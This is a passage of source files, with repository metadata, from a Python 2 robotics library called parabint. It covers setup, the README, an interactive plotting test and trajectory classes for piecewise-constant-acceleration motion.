"length_bytes": 80, "license_type": "no_license", "max_line_length": 45, "num_lines": 3, "path": "/setup.py", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "from distutils.core import setup\n\nsetup(name='parabint', packages=['parabint'])\n" }, { "alpha_fraction": 0.7704160213470459, "alphanum_fraction": 0.7704160213470459, "avg_line_length": 33.157894134521484, "blob_id": "ec0fe2c8e9f881172f9952af4f586d4a7e226517", "content_id": "1fc9bbfe35dbdc9c78f9b3a2829d20e864b2af11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 649, "license_type": "no_license", "max_line_length": 235, "num_lines": 19, "path": "/README.md", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "# parabint\nThis is parabint, a library for time-optimal parabolic interpolation with velocity, acceleration, and minimum-switch-time constraints.\n\n## Dependencies\n\nIn case you want to also use the optimization routines in [optimization.py](./parabint/optimization.py) for comparison, you will need to install [Ipopt](https://projects.coin-or.org/Ipopt) and [pyipopt](https://github.com/xuy/pyipopt).\n\n## Installation\nClone this repository via\n```bash\ngit clone https://github.com/puttichai/parabint\n```\nThen from your parabint directory, run\n```bash\nsudo python setup.py install\n```\n\n## Usage\nSee the [examples](/examples) folder for some examples.\n" }, { "alpha_fraction": 0.5174774527549744, "alphanum_fraction": 0.5639639496803284, "avg_line_length": 31.6235294342041, "blob_id": "7df27e4478490290719f2fca5f6d297fef30ca49", "content_id": "c477422d9e206748aaf79eec0641e8ccbc2e8fc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2775, "license_type": "no_license", "max_line_length": 96, "num_lines": 85, "path": "/tests/test_pp_reinterpolation.py", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "from parabint import interpolator\nfrom parabint.trajectory import Ramp, ParabolicCurve, ParabolicCurvesND\nfrom matplotlib import pyplot as plt\nimport random\nrng = random.SystemRandom()\n\n_xm = 2.96705973\n_vm = 3.92699082\n_am = 2.0\ndelta = 0.2\n\navailableChoices = dict()\navailableChoices[len(availableChoices.keys())] = \"PP1 : t0 < delta; t1 >= delta\"\navailableChoices[len(availableChoices.keys())] = \"PP2 : t0 >= delta; t1 < delta\"\navailableChoices[len(availableChoices.keys())] = \"PP3 : t0 < delta; t1 < delta\"\navailableChoices[len(availableChoices.keys())] = \"stop\"\nmsg = \"Choose a test case\"\nfor (key, val) in availableChoices.iteritems():\n msg += \"\\n{0} : {1}\".format(key, val)\nmsg += \"\\n\\n>> \"\n\ndef SampleConditions(testcase, delta):\n \"\"\"This function sample boundary conditions (x0, x1, v0, v1) as well\n as the velocity and acceleration bounds vm and am such that the\n time-optimal parabolic trajectory violates the given\n minimum-switch-time constraint in the given case.\n\n \"\"\"\n if testcase == 0:\n t0 = delta + 1\n t1 = 0\n elif testcase == 1:\n t0 = 0\n t1 = delta + 1\n else:\n t0 = delta + 1\n t1 = delta + 1\n\n # Sample a test case\n passed = False\n while not passed:\n x0 = _xm * rng.uniform(-1, 1)\n x1 = _xm * rng.uniform(-1, 1)\n vm = _vm * rng.uniform(0, 1)\n am = _am * rng.uniform(0, 1)\n v0 = vm * rng.uniform(-1, 1)\n v1 = vm * rng.uniform(-1, 1)\n\n curve1 = interpolator.Compute1DTrajectory(x0, x1, v0, v1, vm, am)\n if not (len(curve1) == 2):\n continue\n t0 = curve1[0].duration\n t1 = curve1[1].duration\n if testcase == 0:\n passed = t0 < delta and t1 >= delta\n elif testcase == 1:\n passed = t0 >= delta and t1 < delta\n else:\n passed = t0 < delta and t1 < delta\n \n return x0, x1, v0, v1, vm, am\n\nwhile True:\n try:\n index = int(raw_input(msg))\n if index in availableChoices.keys():\n if index == len(availableChoices.keys()) - 1:\n break\n x0, x1, v0, v1, vm, am = SampleConditions(index, delta)\n\n curve1 = interpolator.Compute1DTrajectory(x0, x1, v0, v1, vm, am)\n curve2 = interpolator.Compute1DTrajectory(x0, x1, v0, v1, vm, am, delta)\n \n # Visualization\n plt.clf()\n curve1.PlotVel(fignum=1, color='r')\n curve2.PlotVel(fignum=1, color='g')\n \n report = \\\n \"x0 = {0};\\nx1 = {1};\\nv0 = {2};\\nv1 = {3};\\nvm = {4};\\nam = {5};\\ndelta = {6};\\n\".\\\n format(x0, x1, v0, v1, vm, am, delta)\n print report\n\n except ValueError:\n print \"Please enter a valie choice\"\n\n\n" }, { "alpha_fraction": 0.512901782989502, "alphanum_fraction": 0.5258350372314453, "avg_line_length": 27.228723526000977, "blob_id": "de34e23155dcfae27ffff4ca585877fd449663da", "content_id": "4cee73af3a57232fc20a3a9bfa6c7f69c95b2f5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31856, "license_type": "no_license", "max_line_length": 109, "num_lines": 1128, "path": "/parabint/trajectory.py", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom copy import deepcopy\nimport bisect\nfrom pylab import ion\nion()\n\nfrom utilities import epsilon, inf, FuzzyEquals, FuzzyZero\n\n\nclass Ramp(object):\n \"\"\"A Ramp is a constant-acceleration one-dimensional trajectory. When plotting its velocity\n evolution over time, the graph is a `ramp` on the velocity-time plane, hence the name.\n\n Parameters (input)\n ------------------\n v0 : float\n Initial velocity of the trajectory.\n a : float\n Acceleration of the trajectory.\n duration : float\n Duration of the trajectory. It must be non-negative.\n x0 : float, optional\n Initial displacement of the trajectory. If not given, x0 will be set to zero.\n\n Parameters (calculated from inputs)\n -----------------------------------\n v1 : float\n Final velocity of the trajectory.\n d : float\n total displacement made by this Ramp (i.e., independent of x0).\n x1 : float\n Final displacement at the end of the trajectory: x1 = x0 + d.\n\n \"\"\"\n def __init__(self, v0, a, t, x0=0):\n assert(t >= -epsilon)\n\n self.v0 = v0\n self.a = a\n self.duration = t\n self.x0 = x0\n\n self.v1 = v0 + self.a*self.duration\n self.d = self.duration*(self.v0 + 0.5*self.a*self.duration)\n self.x1 = self.x0 + self.d\n\n\n def Initialize(self, v0, a, t, x0=0):\n \"\"\"Initialize (or reinitialize) the Ramp with the given parameters and calculated other parameters\n accordingly.\n\n Parameters (input)\n ------------------\n v0 : float\n Initial velocity of the trajectory.\n a : float\n Acceleration of the trajectory.\n duration : float\n Duration of the trajectory. It must be non-negative.\n x0 : float, optional\n Initial displacement of the trajectory. If not given, x0 will be set to zero.\n\n \"\"\"\n assert(t >= -epsilon)\n\n self.v0 = v0\n self.a = a\n self.duration = t\n self.x0 = x0\n\n self.v1 = v0 + self.a*self.duration\n self.d = self.duration*(self.v0 + 0.5*self.a*self.duration)\n self.x1 = self.x0 + self.d\n\n\n def EvalPos(self, t):\n \"\"\"Evalutaion the position at the given time instant.\n\n Parameters\n ----------\n t : float\n Time instant at which to evaluate the position.\n\n Returns\n -------\n x : float\n Position at time t.\n\n \"\"\"\n if (t <= 0):\n return self.x0\n elif (t >= self.duration):\n return self.x1\n else:\n return self.x0 + t*(self.v0 + 0.5*self.a*t)\n\n\n def EvalVel(self, t):\n \"\"\"Evalutaion the velocity at the given time instant.\n\n Parameters\n ----------\n t : float\n Time instant at which to evaluate the velocity.\n\n Returns\n -------\n v : float\n Velocity at time t.\n\n \"\"\"\n if (t <= 0):\n return self.v0\n elif (t >= self.duration):\n return self.v1\n else:\n return self.v0 + self.a*t\n\n \n def EvalAcc(self):\n \"\"\"Return the acceleration.\n \n Returns\n -------\n a : float\n Acceleration.\n\n \"\"\"\n return self.a\n\n\n def GetPeaks(self):\n \"\"\"Calculate the peaks of positions along the trajectory.\n\n Returns\n -------\n xmin : float\n Minimum position along the trajectory.\n xmax : float\n Maximum position along the trajectory.\n\n \"\"\"\n return self._GetPeaks(0, self.duration)\n\n\n def _GetPeaks(self, ta, tb):\n if (ta > tb):\n return self._GetPeaks(tb, ta)\n\n if (ta < 0):\n ta = 0\n if (tb <= 0):\n return [self.x0, self.x0]\n\n if (tb > self.duration):\n tb = self.duration\n if (ta >= self.duration):\n return [self.x1, self.x1]\n\n curMin = self.EvalPos(ta)\n curMax = self.EvalPos(tb)\n if curMin > curMax:\n [curMin, curMax] = Swap(curMax, curMin)\n \n if FuzzyZero(self.a, epsilon):\n return [curMin, curMax]\n\n tDeflection = -self.v0/self.a\n if (tDeflection <= ta) or (tDeflection >= tb):\n return [curMin, curMax]\n\n xDeflection = self.x0 + 0.5*self.v0*tDeflection\n curMin = min(curMin, xDeflection)\n curMax = max(curMax, xDeflection)\n return [curMin, curMax]\n\n\n def SetInitialValue(self, newX0):\n \"\"\"Set the initial displacement (position) of the trajectory to the given value and recalculate the\n related parameters accordingly.\n\n Parameters\n ----------\n newX0 : float\n The new initial displacement.\n\n \"\"\"\n self.x0 = newX0\n self.x1 = self.x0 + self.d\n\n\n def UpdateDuration(self, newDuration):\n \"\"\"Set the trajectory duration to the given value and recalculate the related parameters accordingly.\n\n Parameters\n ----------\n newDuration : float\n The new duration.\n \n \"\"\"\n assert(newDuration >= -epsilon)\n if (newDuration <= 0):\n self.duration = 0\n self.x1 = self.x0\n self.v1 = self.v0\n self.d = 0\n return\n\n self.duration = newDuration\n self.v1 = self.v0 + self.a*self.duration\n self.d = self.duration*(self.v0 + 0.5*self.a*self.duration)\n self.x1 = self.x0 + self.d\n\n\n def PlotPos(self, t0=0, fignum=None, **kwargs):\n \"\"\"Plot trajectory position vs time.\n\n Parameters\n ----------\n t0 : float\n Position on the horizontal (time) axis to start plotting.\n fignum : int, float, string\n Figure's number/title\n \n \"\"\"\n raise NotImplementedError\n\n\n def PlotVel(self, t0=0, fignum=None, **kwargs):\n \"\"\"Plot trajectory velocity vs time.\n\n Parameters\n ----------\n t0 : float\n Position on the horizontal (time) axis to start plotting.\n fignum : int, float, string\n Figure's number/title\n \n \"\"\"\n if fignum is not None:\n plt.figure(fignum)\n\n line = plt.plot([t0, t0 + self.duration], [self.v0, self.v1], **kwargs)[0]\n plt.show(False)\n return line\n\n\n def PlotAcc(self, t0=0, fignum=None, **kwargs):\n \"\"\"Plot trajectory acceleration vs time.\n\n Parameters\n ----------\n t0 : float\n Position on the horizontal (time) axis to start plotting.\n fignum : int, float, string\n Figure's number/title\n \n \"\"\"\n if fignum is not None:\n plt.figure(fignum)\n\n line = plt.plot([t0, t0 + self.duration], [self.a, self.a], **kwargs)[0]\n plt.show(False)\n return line\n\n\n def Cut(self, t):\n \"\"\"Cut the trajectory into two halves. self will be the left half which is the segment from time 0\n to t. The other half (segment from time t to duration) is returned.\n\n Parameters\n ----------\n t : float\n Time instant at which to cut the trajectory\n\n Returns\n -------\n remRamp : Ramp\n Segment from time t to duration of the original trajectory.\n\n \"\"\"\n if (t <= 0):\n remRamp = Ramp(self.v0, self.a, self.duration, self.x0)\n self.Initialize(self.v0, 0, 0, self.x0)\n return remRamp\n elif (t >= self.duration):\n renRamp = Ramp(self.v1, 0, 0, self.x1)\n return remRamp\n\n remRampDuration = self.duration - t\n self.UpdateDuration(t)\n remRamp = Ramp(self.v1, self.a, remRampDuration, self.x1)\n return remRamp\n\n\n def TrimFront(self, t):\n \"\"\"Trim out the trajectory segment from time 0 to t.\n\n Parameters\n ----------\n t : float\n Time instant at which to trim the trajectory\n \n \"\"\"\n if (t <= 0):\n return\n elif (t >= self.duration):\n self.Initialize(self.v1, 0, 0, self.x1)\n return\n\n remDuration = self.duration - t\n newX0 = self.EvalPos(t)\n newV0 = self.EvalVel(t)\n self.Initialize(newV0, self.a, remDuration, newX0)\n return\n\n\n def TrimBack(self, t):\n \"\"\"Trim out the trajectory segment from time t to duration.\n\n Parameters\n ----------\n t : float\n Time instant at which to trim the trajectory\n \n \"\"\"\n if (t <= 0):\n self.Initialize(self.v0, 0, 0, self.x0)\n return\n elif (t >= self.duration):\n return\n\n self.UpdateDuration(t)\n return\n \n\nclass ParabolicCurve(object):\n \"\"\"A ParabolicCurve is a piecewise-constant-acceleration one-dimensional trajectory. It is a\n concatenation of Ramps.\n\n Parameters (input)\n ------------------\n ramps : list of Ramps, optional\n The list of Ramps to construct the ParabolicCurve with.\n\n Parameters (generated from inputs)\n ----------------------------------\n x0 : float\n Initial displacement of the trajectory.\n x1 : float\n Final displacement of the trajectory.\n v0 : float\n Initial velocity of the trajectory.\n v1 : float\n Final velocity of the trajectory.\n switchpointsList : list of float\n List of switch points, time instants at which the acceleration changes.\n duration : float\n Duration of the trajectory.\n d : float\n Total displacement made by this trajectory.\n\n \"\"\"\n def __init__(self, ramps=[]):\n self.switchpointsList = []\n dur = 0.0\n d = 0.0\n self.ramps = []\n \n if len(ramps) == 0:\n self.isEmpty = True\n self.x0 = 0.0\n self.x1 = 0.0\n self.v0 = 0.0\n self.v1 = 0.0\n self.switchpointsList = []\n self.duration = dur\n self.d = d\n else:\n self.ramps = deepcopy(ramps)\n self.isEmpty = False\n self.v0 = self.ramps[0].v0\n self.v1 = self.ramps[-1].v1\n \n self.switchpointsList.append(dur)\n for ramp in self.ramps:\n dur += ramp.duration\n self.switchpointsList.append(dur)\n d += ramp.d\n self.duration = dur\n self.d = d\n\n self.SetInitialValue(self.ramps[0].x0)\n\n\n def __getitem__(self, index):\n return self.ramps[index]\n\n\n def __len__(self):\n return len(self.ramps)\n\n\n def Initialize(self):\n self.switchpointsList = []\n dur = 0.0\n d = 0.0\n self.ramps = []\n \n if len(ramps) == 0:\n self.x0 = 0.0\n self.x1 = 0.0\n self.v0 = 0.0\n self.v1 = 0.0\n self.switchpointsList = []\n self.duration = dur\n self.d = d\n else:\n self.ramps = deepcopy(ramps)\n self.v0 = self.ramps[0].v0\n self.v1 = self.ramps[-1].v1\n \n self.switchpointsList.append(dur)\n for ramp in self.ramps:\n dur += ramp.duration\n self.switchpointsList.append(dur)\n d += ramp.d\n self.duration = dur\n self.d = d\n\n self.SetInitialValue(self.ramps[0].x0)\n\n\n def IsEmpty(self):\n return len(self) == 0\n\n\n def Append(self, curve):\n \"\"\"Append a ParabolicCurve to this one.\n\n Parameters\n ----------\n curve : ParabolicCurve\n ParabolicCurve to be appended.\n \n \"\"\"\n if len(self) == 0:\n if len(curve) > 0:\n self.ramps = deepcopy(curve.ramps)\n self.x0 = curve.x0\n self.x1 = curve.x1\n self.v0 = curve.v0\n self.v1 = curve.v1\n self.duration = curve.duration\n self.d = curve.d\n self.switchpointsList = deepcopy(curve.switchpointsList)\n else:\n pass\n return\n else:\n dur = self.duration\n d = self.d\n for ramp in curve.ramps:\n self.ramps.append(deepcopy(ramp))\n # Update displacement for the newly appended ramp\n self.ramps[-1].SetInitialValue(self.ramps[-2].x1)\n d += ramp.d\n dur += ramp.duration\n self.switchpointsList.append(dur)\n\n self.v1 = self.ramps[-1].v1\n self.duration = dur\n self.d = d\n self.x1 = self.x0 + self.d\n\n\n def FindRampIndex(self, t):\n \"\"\"Find the index of the ramp in which the given time instant lies.\n\n Parameters\n ----------\n t : float\n Time instant.\n \n Returns\n -------\n i : int\n Ramp index.\n remainder : float\n Time interval between the beginning of the ramp to t.\n \n \"\"\"\n if (t <= epsilon):\n i = 0\n remainder = 0.0\n else:\n i = bisect.bisect_left(self.switchpointsList, t) - 1\n remainder = t - self.switchpointsList[i]\n return [i, remainder]\n\n\n def EvalPos(self, t):\n \"\"\"Evalutaion the position at the given time instant.\n\n Parameters\n ----------\n t : float\n Time instant at which to evaluate the position.\n\n Returns\n -------\n x : float\n Position at time t.\n\n \"\"\"\n assert(t >= -epsilon)\n assert(t <= self.duration + epsilon)\n\n i, remainder = self.FindRampIndex(t)\n return self.ramps[i].EvalPos(remainder)\n\n\n def EvalVel(self, t):\n \"\"\"Evalutaion the velocity at the given time instant.\n\n Parameters\n ----------\n t : float\n Time instant at which to evaluate the velocity.\n\n Returns\n -------\n v : float\n Velocity at time t.\n\n \"\"\"\n assert(t >= -epsilon)\n assert(t <= self.duration + epsilon)\n\n i, remainder = self.FindRampIndex(t)\n return self.ramps[i].EvalVel(remainder)\n\n\n def EvalAcc(self, t):\n \"\"\"Evalutaion the acceleration at the given time instant.\n\n Parameters\n ----------\n t : float\n Time instant at which to evaluate the acceleration.\n\n Returns\n -------\n a : float\n Acceleration at time t.\n\n \"\"\"\n assert(t >= -epsilon)\n assert(t <= self.duration + epsilon)\n\n i, remainder = self.FindRampIndex(t)\n return self.ramps[i].EvalAcc(remainder)\n\n\n def GetPeaks(self):\n \"\"\"Calculate the peaks of positions along the trajectory.\n\n Returns\n -------\n xmin : float\n Minimum position along the trajectory.\n xmax : float\n Maximum position along the trajectory.\n\n \"\"\"\n return self._GetPeaks(0, self.duration)\n\n\n def _GetPeaks(self, ta, tb):\n xmin = inf\n xmax = -inf\n\n for ramp in self.ramps:\n [bmin, bmax] = ramp.GetPeaks()\n if bmin < xmin:\n xmin = bmin\n if bmax > xmax:\n xmax = bmax\n\n return [xmin, xmax]\n\n\n def SetInitialValue(self, x0):\n \"\"\"Set the initial displacement (position) of the trajectory to the given value and recalculate the\n related parameters accordingly.\n\n Parameters\n ----------\n newX0 : float\n The new initial displacement.\n\n \"\"\"\n self.x0 = x0\n newX0 = x0\n for ramp in self.ramps:\n ramp.SetInitialValue(newX0)\n newX0 += ramp.d\n self.x1 = self.x0 + self.d\n\n\n def SetConstant(self, x0, t):\n \"\"\"Set this ParabolicCurve to be a constant trajectory (i.e. zero-velocity and zero-acceleration.\n\n Parameters\n ----------\n x0 : float\n New initial dispalcement of the trajectory\n t : float\n New trajectory duration\n \n \"\"\"\n assert(t >= 0)\n ramp = Ramp(0, 0, t, x0)\n self.Initialize([ramp])\n return\n\n\n def SetSegment(self, x0, x1, v0, v1, t):\n assert(t >= -epsilon)\n if FuzzyZero(t, epsilon):\n a = 0\n else:\n tSqr = t*t\n a = -(v0*tSqr + t*(x0 - x1) + 2*(v0 - v1))/(t*(0.5*tSqr + 2))\n\n ramp = Ramp()\n ramp.x0 = x0\n ramp.x1 = x1\n ramp.v0 = v0\n ramp.v1 = v1\n ramp.duration = t\n ramp.d = x1 - x0\n ramp.a = a\n self.Initialize([ramp])\n return\n\n\n def SetZeroDuration(self, x0, v0):\n ramp = Ramp(v0, 0, 0, x0)\n self.Initialize([ramp])\n return\n \n \n def Cut(self, t):\n \"\"\"Cut the trajectory into two halves. self will be the left half which contains all the ramps from\n time 0 to t. The other half of the trajectory is returned.\n\n Parameters\n ----------\n t : float\n Time instant at which to cut the trajectory\n\n Returns\n -------\n remCurve : ParabolicCurve\n ParabolicCurve containing all the ramps from time t to duration of the original trajectory.\n\n \"\"\"\n if (t <= 0):\n remCurve = ParabolicCurve(self.ramps)\n self.SetZeroDuration(self.x0, self.v0)\n return remCurve\n elif (t >= self.duration):\n remCurve = ParabolicCurve()\n remCurve.SetZeroDuration(self.x1, self.v1)\n return\n\n i, remainder = self.FindRampIndex(t)\n leftHalf = self.ramps[0:i + 1]\n rightHalf = self.ramps[i:]\n\n leftHalf[-1].TrimBack(remainder)\n rightHalf[0].TrimFront(remainder)\n self.Initialize(leftHalf)\n remCurve = ParabolicCurve(rightHalf)\n return remCurve\n\n\n def TrimFront(self, t):\n \"\"\"Trim out the trajectory segment from time 0 to t.\n\n Parameters\n ----------\n t : float\n Time instant at which to trim the trajectory\n \n \"\"\"\n if (t <= 0):\n return\n elif (t >= self.duration):\n self.SetZeroDuration(self.x1, self.v1)\n return\n\n i, remainder = self.FindRampIndex(t)\n rightHalf = self.ramps[i:]\n\n rightHalf[0].TrimFront(remainder)\n self.Initialize(rightHalf)\n return\n\n\n def TrimBack(self, t):\n \"\"\"Trim out the trajectory segment from time t to duration.\n\n Parameters\n ----------\n t : float\n Time instant at which to trim the trajectory\n \n \"\"\"\n if (t <= 0):\n self.SetZeroDuration(self.x0, self.v0)\n return\n elif (t >= self.duration):\n return\n\n i, remainder = self.FindRampIndex(t)\n leftHalf = self.ramps[0:i + 1]\n\n leftHalf[-1].TrimBack(remainder)\n self.Initialize(leftHalf)\n return\n\n\n # Visualization\n def PlotPos(self, fignum=None, color='g', dt=0.01, lw=2, includingSW=False):\n \"\"\"Plot trajectory position vs time.\n\n Parameters\n ----------\n fignum : int, float, string, optional\n Figure's number/title\n color : string, optional\n Matplotlib's color option.\n dt : float, optional\n Time resolution to evaluate the position.\n lw : int, optional\n Linewidth\n includingSW : bool, optional\n If True, draw vertical straight lines at switch points.\n \n \"\"\"\n tVect = np.arange(0, self.duration, dt)\n if tVect[-1] < self.duration:\n tVect = np.append(tVect, self.duration)\n \n xVect = [self.EvalPos(t) for t in tVect]\n if fignum is not None:\n plt.figure(fignum)\n plt.plot(tVect, xVect, color=color, linewidth=lw)\n\n if includingSW:\n ax = plt.gca().axis()\n for s in self.switchpointsList:\n plt.plot([s, s], [ax[2], ax[3]], 'r', linewidth=1)\n \n plt.show(False)\n\n\n def PlotVel(self, fignum=None, color=None, lw=2, includingSW=False, **kwargs):\n \"\"\"Plot trajectory velocity vs time.\n\n Parameters\n ----------\n fignum : int, float, string, optional\n Figure's number/title\n color : string, optional\n Matplotlib's color option.\n lw : int, optional\n Linewidth\n includingSW : bool, optional\n If True, draw vertical straight lines at switch points.\n \n \"\"\"\n if fignum is not None:\n plt.figure(fignum)\n\n t0 = 0.0\n for ramp in self.ramps:\n if color is None:\n line = ramp.PlotVel(t0=t0, fignum=fignum, linewidth=lw, **kwargs)\n color = line.get_color()\n else:\n line = ramp.PlotVel(t0=t0, fignum=fignum, color=color, linewidth=lw, **kwargs)\n t0 += ramp.duration\n\n if includingSW:\n ax = plt.gca().axis()\n for s in self.switchpointsList:\n plt.plot([s, s], [ax[2], ax[3]], 'r', linewidth=1)\n \n plt.show(False)\n return line\n\n\n def PlotAcc(self, fignum=None, color=None, lw=2, **kwargs):\n \"\"\"Plot trajectory velocity vs time.\n\n Parameters\n ----------\n fignum : int, float, string, optional\n Figure's number/title\n color : string, optional\n Matplotlib's color option.\n lw : int, optional\n Linewidth\n \n \"\"\"\n if fignum is not None:\n plt.figure(fignum)\n \n t0 = 0.0\n prevAcc = self.ramps[0].a\n for ramp in self.ramps:\n if color is None:\n line = ramp.PlotAcc(t0=t0, fignum=fignum, linewidth=lw, **kwargs)\n color = line.get_color()\n else:\n line = ramp.PlotAcc(t0=t0, fignum=fignum, color=color, linewidth=lw, **kwargs)\n plt.plot([t0, t0], [prevAcc, ramp.a], color=color, linewidth=lw, **kwargs)\n t0 += ramp.duration\n prevAcc = ramp.a\n plt.show(False)\n return line\n\n\nclass ParabolicCurvesND(object):\n \"\"\"A ParabolicCurvesND is a (parabolic) trajectory of an n-DOF system. A trajectory of each DOF is a\n ParabolicCurve.\n\n \"\"\"\n def __init__(self, curves=[]):\n if len(curves) == 0:\n self.curves = []\n self.x0Vect = None\n self.x1Vect = None\n self.v0Vect = None\n self.v1Vect = None\n self.dVect = None\n self.ndof = 0\n self.switchpointsList = []\n self.duration = 0.0\n else:\n # Check first if the input is valid\n minDur = curves[0].duration\n for curve in curves[1:]:\n assert( FuzzyEquals(curve.duration, minDur, epsilon) )\n minDur = min(curve.duration, minDur)\n\n self.curves = deepcopy(curves)\n self.duration = minDur\n self.ndof = len(self.curves)\n self.x0Vect = np.asarray([curve.x0 for curve in self.curves])\n self.x1Vect = np.asarray([curve.x1 for curve in self.curves])\n self.v0Vect = np.asarray([curve.v0 for curve in self.curves])\n self.v1Vect = np.asarray([curve.v1 for curve in self.curves])\n self.dVect = np.asarray([curve.d for curve in self.curves])\n\n allSwitchPointsList = deepcopy(curves[0].switchpointsList)\n for curve in self.curves[1:]:\n allSwitchPointsList += curve.switchpointsList\n allSwitchPointsList.sort() # a sorted list of all switch points (including deplicate)\n\n self.switchpointsList = [] # a sorted list of all distinct switch points\n if len(allSwitchPointsList) > 0:\n self.switchpointsList.append(allSwitchPointsList[0])\n for sw in allSwitchPointsList[1:]:\n if not FuzzyEquals(sw, self.switchpointsList[-1], epsilon):\n self.switchpointsList.append(sw)\n\n\n def Initialize(self, curves):\n if len(curves) == 0:\n self.curves = []\n self.x0Vect = None\n self.x1Vect = None\n self.v0Vect = None\n self.v1Vect = None\n self.dVect = None\n self.ndof = 0\n self.switchpointsList = []\n self.duration = 0.0\n else:\n # Check first if the input is valid\n minDur = curves[0].duration\n for curve in curves[1:]:\n assert( FuzzyEquals(curve.duration, minDur, epsilon) )\n minDur = min(curve.duration, minDur)\n\n self.curves = deepcopy(curves)\n self.duration = minDur\n self.ndof = len(self.curves)\n self.x0Vect = np.asarray([curve.x0 for curve in self.curves])\n self.x1Vect = np.asarray([curve.x1 for curve in self.curves])\n self.v0Vect = np.asarray([curve.v0 for curve in self.curves])\n self.v1Vect = np.asarray([curve.v1 for curve in self.curves])\n self.dVect = np.asarray([curve.d for curve in self.curves])\n\n allSwitchPointsList = deepcopy(curves[0].switchpointsList)\n for curve in self.curves[1:]:\n allSwitchPointsList += curve.switchpointsList\n allSwitchPointsList.sort() # a sorted list of all switch points (including deplicate)\n\n self.switchpointsList = [] # a sorted list of all distinct switch points\n if len(allSwitchPointsList) > 0:\n self.switchpointsList.append(allSwitchPointsList[0])\n for sw in allSwitchPointsList[1:]:\n if not FuzzyEquals(sw, self.switchpointsList[-1], epsilon):\n self.switchpointsList.append(sw)\n \n \n def __getitem__(self, index):\n return self.curves[index]\n\n\n def __len__(self):\n return len(self.curves)\n\n\n def IsEmpty(self):\n return len(self) == 0\n \n \n def SetInitialValue(self, x0Vect):\n self.x0Vect = np.array(x0Vect) # make a copy\n for (i, curve) in enumerate(self.curves):\n curve.SetInitialValue(self.x0Vect[i])\n self.x1Vect = np.asarray([x0 + d for (x0, d) in zip(self.x0Vect, self.dVect)])\n\n\n def EvalPos(self, t):\n assert(t >= -epsilon)\n assert(t <= self.duration + epsilon)\n \n xVect = [curve.EvalPos(t) for curve in self.curves]\n return np.asarray(xVect)\n\n\n def EvalVel(self, t):\n assert(t >= -epsilon)\n assert(t <= self.duration + epsilon)\n \n return np.asarray([curve.EvalVel(t) for curve in self.curves])\n\n\n def EvalAcc(self, t):\n assert(t >= -epsilon)\n assert(t <= self.duration + epsilon)\n \n return np.asarray([curve.EvalAcc(t) for curve in self.curves])\n\n \n def SetConstant(self, x0Vect, t): \n ndof = len(x0Vect)\n curves = []\n for i in xrange(ndof):\n curve = ParabolicCurve()\n curve.SetConstant(x0Vect[i], t)\n curves.append(curve)\n\n self.Initialize(curves)\n return\n\n\n def SetSegment(self, x0Vect, x1Vect, v0Vect, v1Vect, t):\n assert(t >= 0)\n\n ndof = len(x0Vect)\n curves = []\n for i in xrange(ndof):\n curve = ParabolicCurve()\n curve.SetSegment(x0Vect[i], x1Vect[i], v0Vect[i], v1Vect[i], t)\n curves.append(curve)\n\n self.Initialize(curves)\n return\n\n \n def SetZeroDuration(self, x0Vect, v0Vect):\n ndof = len(x0Vect)\n curves = []\n for i in xrange(ndof):\n curve = ParabolicCurve()\n curve.SetZeroDuration(x0Vect[i], v0Vect[i])\n curves.append(curve)\n\n self.Initialize(curves)\n return\n\n\n def Cut(self, t):\n if (t <= 0):\n remCurvesND = ParabolicCurvesND()\n remCurvesND.SetZeroDuration(self.x0Vect, self.v0Vect)\n return\n elif (t >= self.duration):\n remCurvesND = ParabolicCurvesND()\n remCurvesND.SetZeroDuration(self.x1Vect, self.v1Vect)\n return\n\n leftHalf = self.curves\n rightHalf = []\n for i in xrange(self.ndof):\n rightHalf.append(leftHalf[i].Cut(t))\n\n self.Initialize(leftHalf)\n remCurvesND = ParabolicCurvesND(rightHalf)\n return remCurvesND\n\n\n def TrimFront(self, t):\n if (t <= 0):\n return\n elif (t >= self.duration):\n self.SetZeroDuration(self.x1Vect, self.v1Vect)\n return\n\n newCurves = self.curves\n for i in xrange(self.ndof):\n newCurves[i].TrimFront(t)\n self.Initialize(newCurves)\n return\n\n\n def TrimBack(self, t):\n if (t <= 0):\n self.SetZeroDuration(self.x0Vect, self.v0Vect)\n return\n elif (t >= self.duration):\n return\n\n newCurves = self.curves\n for i in xrange(self.ndof):\n newCurves[i].TrimBack(t)\n self.Initialize(newCurves)\n return\n\n\n # Visualization\n def PlotPos(self, fignum='Displacement Profiles', includingSW=False, dt=0.005):\n \"\"\"Plot trajectory position vs time.\n\n Parameters\n ----------\n fignum : int, float, string, optional\n Figure's number/title\n includingSW : bool, optional\n If True, draw vertical straight lines at switch points.\n dt : float, optional\n Time resolution to evaluate the position.\n \n \"\"\"\n plt.figure(fignum)\n\n tVect = np.arange(0, self.duration, dt)\n if tVect[-1] < self.duration:\n tVect = np.append(tVect, self.duration)\n\n xVect = [self.EvalPos(t) for t in tVect]\n plt.plot(tVect, xVect, linewidth=2)\n handle = ['joint {0}'.format(i + 1) for i in xrange(self.ndof)]\n plt.legend(handle)\n\n if includingSW:\n ax = plt.gca().axis()\n for s in self.switchpointsList:\n plt.plot([s, s], [ax[2], ax[3]], 'r', linewidth=1)\n plt.show(False)\n \n\n def PlotVel(self, fignum='Velocity Profiles', includingSW=False, **kwargs):\n \"\"\"Plot trajectory velocity vs time.\n\n Parameters\n ----------\n fignum : int, float, string, optional\n Figure's number/title\n includingSW : bool, optional\n If True, draw vertical straight lines at switch points.\n \n \"\"\"\n plt.figure(fignum)\n plt.hold(True)\n\n lines = []\n for curve in self.curves:\n lines.append(curve.PlotVel(fignum=fignum, **kwargs))\n\n handles = ['joint {0}'.format(i + 1) for i in xrange(self.ndof)]\n plt.legend(lines, handles)\n\n if includingSW:\n ax = plt.gca().axis()\n for s in self.switchpointsList:\n plt.plot([s, s], [ax[2], ax[3]], 'r', linewidth=1)\n plt.show(False)\n \n\n def PlotAcc(self, fignum='Acceleration Profiles', **kwargs):\n \"\"\"Plot trajectory acceleration vs time.\n\n Parameters\n ----------\n fignum : int, float, string, optional\n Figure's number/title\n \n \"\"\"\n plt.figure(fignum)\n 